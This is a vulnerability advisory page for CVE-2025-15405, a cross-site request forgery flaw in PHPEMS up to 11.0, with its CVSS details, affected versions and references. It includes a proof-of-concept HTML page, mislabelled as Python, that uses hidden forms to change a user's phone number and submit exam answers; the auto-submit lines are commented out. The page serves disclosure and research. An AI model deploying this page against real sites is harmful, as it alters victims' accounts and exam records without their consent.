CVE-2025-15405

Description

A vulnerability was detected in PHPEMS up to 11.0. The impacted element is an unknown function. The manipulation results in cross-site request forgery. The attack may be launched remotely.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpems:phpems:*:*:*:*:*:*:*:* - VULNERABLE

PHPEMS < 11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-15405 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-15405</title>
</head>
<body>
    <h1>PHPEMS CSRF Vulnerability PoC</h1>
    <p>This PoC demonstrates the CSRF vulnerability in PHPEMS up to 11.0</p>
    
    <!-- Example: Modify user profile -->
    <form id="csrfForm" action="http://target-site/phpems/index.php?user-phone-modify" method="POST" style="display:none;">
        <input type="hidden" name="token" value="attacker_controlled_or_empty">
        <input type="hidden" name="userphone" value="attacker_controlled_value">
        <input type="hidden" name="submit" value="1">
    </form>
    
    <!-- Example: Submit exam answer -->
    <form id="csrfExamForm" action="http://target-site/phpems/index.php?exam-dosubmit" method="POST" style="display:none;">
        <input type="hidden" name="token" value="">
        <input type="hidden" name="exercisesid" value="1">
        <input type="hidden" name="answer" value="attacker_answer">
        <input type="hidden" name="submit" value="1">
    </form>
    
    <script>
        // Auto-submit forms when page loads
        document.addEventListener('DOMContentLoaded', function() {
            // Uncomment to execute attack:
            // document.getElementById('csrfForm').submit();
            // document.getElementById('csrfExamForm').submit();
            console.log('CSRF PoC loaded - forms ready to submit');
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-15405
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-15405
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-15405/
[4] VulDB https://vuldb.com/cve/CVE-2025-15405
[5] https://byebydoggy.github.io/post/2025/1231-phpems-csrf-poc/
[6] https://vuldb.com/?ctiid.339325
[7] https://vuldb.com/?id.339325
[8] https://vuldb.com/?submit.728314

Raw JSON Data

JSON

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